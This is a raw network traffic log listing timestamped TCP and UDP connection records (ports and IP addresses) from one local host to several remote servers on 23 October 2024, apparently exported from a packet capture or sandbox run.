Oct 23, 2024 21:04:54.243583918 CEST	50020	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.243583918 CEST	50020	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.243819952 CEST	50020	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.243819952 CEST	50020	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.243832111 CEST	443	50020	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.243841887 CEST	443	50020	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.246721029 CEST	50024	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.246736050 CEST	443	50024	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.246799946 CEST	50024	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.246963024 CEST	50024	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.246970892 CEST	443	50024	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.251091003 CEST	443	50019	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.251247883 CEST	443	50019	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.251329899 CEST	50019	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.251641989 CEST	50019	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.251642942 CEST	50019	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.251652956 CEST	443	50019	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.251661062 CEST	443	50019	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.275635004 CEST	443	50021	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.275867939 CEST	443	50021	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.276034117 CEST	50021	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.276061058 CEST	50021	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.276061058 CEST	50021	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.276072025 CEST	443	50021	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.276081085 CEST	443	50021	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.355674982 CEST	443	50022	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.355731964 CEST	443	50022	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.355813026 CEST	50022	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.356005907 CEST	50022	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.356005907 CEST	50022	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.356020927 CEST	443	50022	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.356031895 CEST	443	50022	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.573523045 CEST	49757	8020	192.168.2.6	185.174.100.20
Oct 23, 2024 21:04:54.580199003 CEST	8020	49757	185.174.100.20	192.168.2.6
Oct 23, 2024 21:04:54.587387085 CEST	443	50023	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.588829041 CEST	50023	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.588829041 CEST	50023	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.588841915 CEST	443	50023	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.588857889 CEST	443	50023	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.728111029 CEST	443	50023	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.728276968 CEST	443	50023	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.728354931 CEST	50023	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.728555918 CEST	50023	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.728569984 CEST	443	50023	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:54.728606939 CEST	50023	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:54.728614092 CEST	443	50023	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:55.018194914 CEST	443	50024	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:55.018645048 CEST	50024	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:55.018660069 CEST	443	50024	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:55.019117117 CEST	50024	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:55.019120932 CEST	443	50024	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:55.157944918 CEST	443	50024	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:55.157999992 CEST	443	50024	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:55.158061981 CEST	50024	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:55.158262968 CEST	50024	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:55.158282995 CEST	443	50024	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:55.158293962 CEST	50024	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:55.158299923 CEST	443	50024	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:55.474091053 CEST	50025	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:55.474116087 CEST	443	50025	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:55.474179983 CEST	50025	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:55.474940062 CEST	50025	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:55.474956989 CEST	443	50025	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:56.599200010 CEST	443	50025	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:56.599283934 CEST	50025	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:56.600821972 CEST	50025	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:56.600827932 CEST	443	50025	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:56.601609945 CEST	443	50025	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:56.603146076 CEST	50025	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:56.603209019 CEST	50025	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:56.603214025 CEST	443	50025	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:56.603353024 CEST	50025	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:56.651330948 CEST	443	50025	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:56.856024027 CEST	443	50025	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:56.856507063 CEST	50025	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:56.856529951 CEST	443	50025	40.113.110.67	192.168.2.6
Oct 23, 2024 21:04:56.856547117 CEST	50025	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:04:56.856583118 CEST	50025	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:05:06.355999947 CEST	50027	443	192.168.2.6	142.250.186.68
Oct 23, 2024 21:05:06.356040001 CEST	443	50027	142.250.186.68	192.168.2.6
Oct 23, 2024 21:05:06.356111050 CEST	50027	443	192.168.2.6	142.250.186.68
Oct 23, 2024 21:05:06.356388092 CEST	50027	443	192.168.2.6	142.250.186.68
Oct 23, 2024 21:05:06.356406927 CEST	443	50027	142.250.186.68	192.168.2.6
Oct 23, 2024 21:05:07.221415997 CEST	443	50027	142.250.186.68	192.168.2.6
Oct 23, 2024 21:05:07.221975088 CEST	50027	443	192.168.2.6	142.250.186.68
Oct 23, 2024 21:05:07.222008944 CEST	443	50027	142.250.186.68	192.168.2.6
Oct 23, 2024 21:05:07.223100901 CEST	443	50027	142.250.186.68	192.168.2.6
Oct 23, 2024 21:05:07.223726034 CEST	50027	443	192.168.2.6	142.250.186.68
Oct 23, 2024 21:05:07.223896980 CEST	443	50027	142.250.186.68	192.168.2.6
Oct 23, 2024 21:05:07.277456045 CEST	50027	443	192.168.2.6	142.250.186.68
Oct 23, 2024 21:05:08.330302954 CEST	50028	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:08.330375910 CEST	443	50028	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:08.330504894 CEST	50028	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:08.333036900 CEST	50028	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:08.333070993 CEST	443	50028	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:09.021450043 CEST	443	50028	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:09.021744967 CEST	50028	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:09.021758080 CEST	443	50028	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:09.022116899 CEST	443	50028	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:09.022448063 CEST	50028	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:09.022511959 CEST	443	50028	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:09.022727013 CEST	50028	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:09.063352108 CEST	443	50028	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:09.563530922 CEST	443	50028	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:09.563728094 CEST	443	50028	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:09.563826084 CEST	50028	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:09.564562082 CEST	50028	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:09.564569950 CEST	443	50028	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:09.567812920 CEST	50029	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:09.567835093 CEST	443	50029	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:09.567965031 CEST	50029	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:09.569616079 CEST	50029	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:09.569633007 CEST	443	50029	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:10.263526917 CEST	443	50029	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:10.263995886 CEST	50029	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:10.264020920 CEST	443	50029	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:10.265130997 CEST	443	50029	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:10.265458107 CEST	50029	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:10.265602112 CEST	50029	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:10.265633106 CEST	443	50029	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:10.309711933 CEST	50029	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:10.828923941 CEST	443	50029	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:10.829121113 CEST	443	50029	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:10.829371929 CEST	50029	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:10.829926014 CEST	50029	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:10.829943895 CEST	443	50029	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:17.212188959 CEST	443	50027	142.250.186.68	192.168.2.6
Oct 23, 2024 21:05:17.212358952 CEST	443	50027	142.250.186.68	192.168.2.6
Oct 23, 2024 21:05:17.212421894 CEST	50027	443	192.168.2.6	142.250.186.68
Oct 23, 2024 21:05:18.641999006 CEST	50027	443	192.168.2.6	142.250.186.68
Oct 23, 2024 21:05:18.642024040 CEST	443	50027	142.250.186.68	192.168.2.6
Oct 23, 2024 21:05:22.101090908 CEST	50030	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:05:22.101140022 CEST	443	50030	40.113.110.67	192.168.2.6
Oct 23, 2024 21:05:22.101464987 CEST	50030	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:05:22.102067947 CEST	50030	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:05:22.102083921 CEST	443	50030	40.113.110.67	192.168.2.6
Oct 23, 2024 21:05:23.219521999 CEST	443	50030	40.113.110.67	192.168.2.6
Oct 23, 2024 21:05:23.219593048 CEST	50030	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:05:23.221515894 CEST	50030	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:05:23.221523046 CEST	443	50030	40.113.110.67	192.168.2.6
Oct 23, 2024 21:05:23.221848965 CEST	443	50030	40.113.110.67	192.168.2.6
Oct 23, 2024 21:05:23.223839045 CEST	50030	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:05:23.223925114 CEST	50030	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:05:23.223931074 CEST	443	50030	40.113.110.67	192.168.2.6
Oct 23, 2024 21:05:23.224159002 CEST	50030	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:05:23.271323919 CEST	443	50030	40.113.110.67	192.168.2.6
Oct 23, 2024 21:05:23.473440886 CEST	443	50030	40.113.110.67	192.168.2.6
Oct 23, 2024 21:05:23.473968983 CEST	50030	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:05:23.473968983 CEST	50030	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:05:23.473985910 CEST	443	50030	40.113.110.67	192.168.2.6
Oct 23, 2024 21:05:23.474042892 CEST	50030	443	192.168.2.6	40.113.110.67
Oct 23, 2024 21:05:28.503186941 CEST	50031	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:28.503213882 CEST	443	50031	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:28.503350973 CEST	50031	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:28.503654003 CEST	50031	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:28.503674030 CEST	443	50031	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:29.197871923 CEST	443	50031	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:29.210165977 CEST	50031	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:29.210191011 CEST	443	50031	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:29.211400986 CEST	443	50031	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:29.222213030 CEST	50031	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:29.222278118 CEST	443	50031	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:29.222434044 CEST	50031	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:29.267324924 CEST	443	50031	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:29.749435902 CEST	443	50031	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:29.749499083 CEST	443	50031	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:29.749682903 CEST	50031	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:29.750425100 CEST	50031	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:29.750439882 CEST	443	50031	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:29.753736973 CEST	50032	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:29.753755093 CEST	443	50032	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:29.753834009 CEST	50032	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:29.754941940 CEST	50032	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:29.754955053 CEST	443	50032	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:30.451884031 CEST	443	50032	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:30.452174902 CEST	50032	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:30.452188969 CEST	443	50032	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:30.453293085 CEST	443	50032	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:30.453587055 CEST	50032	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:30.453720093 CEST	50032	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:30.453763008 CEST	443	50032	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:30.496232033 CEST	50032	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:30.973273039 CEST	443	50032	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:30.973453999 CEST	443	50032	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:30.973589897 CEST	50032	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:30.988624096 CEST	50032	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:05:30.988656998 CEST	443	50032	63.250.38.7	192.168.2.6
Oct 23, 2024 21:05:33.261394978 CEST	49704	80	192.168.2.6	2.16.100.168
Oct 23, 2024 21:05:33.267704010 CEST	80	49704	2.16.100.168	192.168.2.6
Oct 23, 2024 21:05:33.267771006 CEST	49704	80	192.168.2.6	2.16.100.168
Oct 23, 2024 21:05:39.589133978 CEST	49757	8020	192.168.2.6	185.174.100.20
Oct 23, 2024 21:05:39.594907999 CEST	8020	49757	185.174.100.20	192.168.2.6
Oct 23, 2024 21:05:50.653422117 CEST	50034	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:05:50.653451920 CEST	443	50034	40.115.3.253	192.168.2.6
Oct 23, 2024 21:05:50.654277086 CEST	50034	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:05:50.655255079 CEST	50034	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:05:50.655277967 CEST	443	50034	40.115.3.253	192.168.2.6
Oct 23, 2024 21:05:51.805519104 CEST	443	50034	40.115.3.253	192.168.2.6
Oct 23, 2024 21:05:51.805610895 CEST	50034	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:05:51.807471037 CEST	50034	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:05:51.807482004 CEST	443	50034	40.115.3.253	192.168.2.6
Oct 23, 2024 21:05:51.808142900 CEST	443	50034	40.115.3.253	192.168.2.6
Oct 23, 2024 21:05:51.810060024 CEST	50034	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:05:51.810103893 CEST	50034	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:05:51.810115099 CEST	443	50034	40.115.3.253	192.168.2.6
Oct 23, 2024 21:05:51.810303926 CEST	50034	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:05:51.851375103 CEST	443	50034	40.115.3.253	192.168.2.6
Oct 23, 2024 21:05:52.096595049 CEST	443	50034	40.115.3.253	192.168.2.6
Oct 23, 2024 21:05:52.097477913 CEST	50034	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:05:52.097493887 CEST	443	50034	40.115.3.253	192.168.2.6
Oct 23, 2024 21:05:52.097527981 CEST	50034	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:05:52.097562075 CEST	50034	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:06:09.846745014 CEST	50035	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:09.846772909 CEST	443	50035	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:09.846932888 CEST	50035	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:09.848042965 CEST	50035	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:09.848061085 CEST	443	50035	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:10.537739038 CEST	443	50035	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:10.538067102 CEST	50035	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:10.538085938 CEST	443	50035	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:10.538573980 CEST	443	50035	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:10.538873911 CEST	50035	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:10.538955927 CEST	443	50035	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:10.539015055 CEST	50035	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:10.579354048 CEST	443	50035	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:11.059031010 CEST	443	50035	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:11.059216976 CEST	443	50035	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:11.059626102 CEST	50035	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:11.060295105 CEST	50035	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:11.060307980 CEST	443	50035	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:11.065134048 CEST	50036	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:11.065167904 CEST	443	50036	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:11.065293074 CEST	50036	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:11.067069054 CEST	50036	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:11.067084074 CEST	443	50036	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:11.753815889 CEST	443	50036	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:11.754131079 CEST	50036	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:11.754195929 CEST	443	50036	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:11.755353928 CEST	443	50036	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:11.755831957 CEST	50036	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:11.755831957 CEST	50036	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:11.756015062 CEST	443	50036	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:11.808706999 CEST	50036	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:12.426249981 CEST	443	50036	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:12.426460981 CEST	443	50036	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:12.426542997 CEST	50036	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:12.427753925 CEST	50036	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:12.427778006 CEST	443	50036	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:19.831594944 CEST	50037	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:06:19.831640005 CEST	443	50037	40.115.3.253	192.168.2.6
Oct 23, 2024 21:06:19.831851006 CEST	50037	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:06:19.832319021 CEST	50037	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:06:19.832345963 CEST	443	50037	40.115.3.253	192.168.2.6
Oct 23, 2024 21:06:20.964162111 CEST	443	50037	40.115.3.253	192.168.2.6
Oct 23, 2024 21:06:20.964268923 CEST	50037	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:06:20.966175079 CEST	50037	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:06:20.966181993 CEST	443	50037	40.115.3.253	192.168.2.6
Oct 23, 2024 21:06:20.966954947 CEST	443	50037	40.115.3.253	192.168.2.6
Oct 23, 2024 21:06:20.968564987 CEST	50037	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:06:20.968626022 CEST	50037	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:06:20.968631029 CEST	443	50037	40.115.3.253	192.168.2.6
Oct 23, 2024 21:06:20.968744040 CEST	50037	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:06:21.015333891 CEST	443	50037	40.115.3.253	192.168.2.6
Oct 23, 2024 21:06:21.219456911 CEST	443	50037	40.115.3.253	192.168.2.6
Oct 23, 2024 21:06:21.221298933 CEST	50037	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:06:21.221321106 CEST	443	50037	40.115.3.253	192.168.2.6
Oct 23, 2024 21:06:21.221360922 CEST	50037	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:06:21.221390963 CEST	50037	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:06:24.604978085 CEST	49757	8020	192.168.2.6	185.174.100.20
Oct 23, 2024 21:06:24.610534906 CEST	8020	49757	185.174.100.20	192.168.2.6
Oct 23, 2024 21:06:29.549009085 CEST	50038	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:29.549036026 CEST	443	50038	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:29.549443960 CEST	50038	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:29.549985886 CEST	50038	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:29.550005913 CEST	443	50038	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:30.231343985 CEST	443	50038	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:30.231659889 CEST	50038	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:30.231693029 CEST	443	50038	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:30.232228041 CEST	443	50038	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:30.232532978 CEST	50038	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:30.232616901 CEST	443	50038	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:30.232672930 CEST	50038	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:30.275373936 CEST	443	50038	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:30.279427052 CEST	50038	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:30.748723030 CEST	443	50038	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:30.748843908 CEST	443	50038	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:30.749025106 CEST	50038	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:30.752779007 CEST	50038	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:30.752801895 CEST	443	50038	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:31.162308931 CEST	50039	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:31.162357092 CEST	443	50039	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:31.162422895 CEST	50039	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:31.162858963 CEST	50039	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:31.162874937 CEST	443	50039	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:31.849709034 CEST	443	50039	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:31.850060940 CEST	50039	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:31.850075960 CEST	443	50039	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:31.850552082 CEST	443	50039	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:31.851166964 CEST	50039	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:31.851246119 CEST	443	50039	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:31.851402044 CEST	50039	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:31.895325899 CEST	443	50039	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:31.902486086 CEST	50039	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:32.367455959 CEST	443	50039	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:32.367649078 CEST	443	50039	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:32.367799044 CEST	50039	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:32.368948936 CEST	50039	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:06:32.368961096 CEST	443	50039	63.250.38.7	192.168.2.6
Oct 23, 2024 21:06:45.879400015 CEST	60638	53	192.168.2.6	1.1.1.1
Oct 23, 2024 21:06:45.884826899 CEST	53	60638	1.1.1.1	192.168.2.6
Oct 23, 2024 21:06:45.884963036 CEST	60638	53	192.168.2.6	1.1.1.1
Oct 23, 2024 21:06:45.884963036 CEST	60638	53	192.168.2.6	1.1.1.1
Oct 23, 2024 21:06:45.890393019 CEST	53	60638	1.1.1.1	192.168.2.6
Oct 23, 2024 21:06:46.484174967 CEST	53	60638	1.1.1.1	192.168.2.6
Oct 23, 2024 21:06:46.485548973 CEST	60638	53	192.168.2.6	1.1.1.1
Oct 23, 2024 21:06:46.492185116 CEST	53	60638	1.1.1.1	192.168.2.6
Oct 23, 2024 21:06:46.492255926 CEST	60638	53	192.168.2.6	1.1.1.1
Oct 23, 2024 21:06:58.644328117 CEST	60640	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:06:58.644390106 CEST	443	60640	40.115.3.253	192.168.2.6
Oct 23, 2024 21:06:58.644598961 CEST	60640	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:06:58.645303965 CEST	60640	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:06:58.645323038 CEST	443	60640	40.115.3.253	192.168.2.6
Oct 23, 2024 21:06:59.772790909 CEST	443	60640	40.115.3.253	192.168.2.6
Oct 23, 2024 21:06:59.772865057 CEST	60640	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:06:59.774400949 CEST	60640	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:06:59.774410009 CEST	443	60640	40.115.3.253	192.168.2.6
Oct 23, 2024 21:06:59.774733067 CEST	443	60640	40.115.3.253	192.168.2.6
Oct 23, 2024 21:06:59.776407003 CEST	60640	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:06:59.776494026 CEST	60640	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:06:59.776500940 CEST	443	60640	40.115.3.253	192.168.2.6
Oct 23, 2024 21:06:59.776633978 CEST	60640	443	192.168.2.6	40.115.3.253
Oct 23, 2024 21:06:59.819330931 CEST	443	60640	40.115.3.253	192.168.2.6
Oct 23, 2024 21:07:00.027869940 CEST	443	60640	40.115.3.253	192.168.2.6
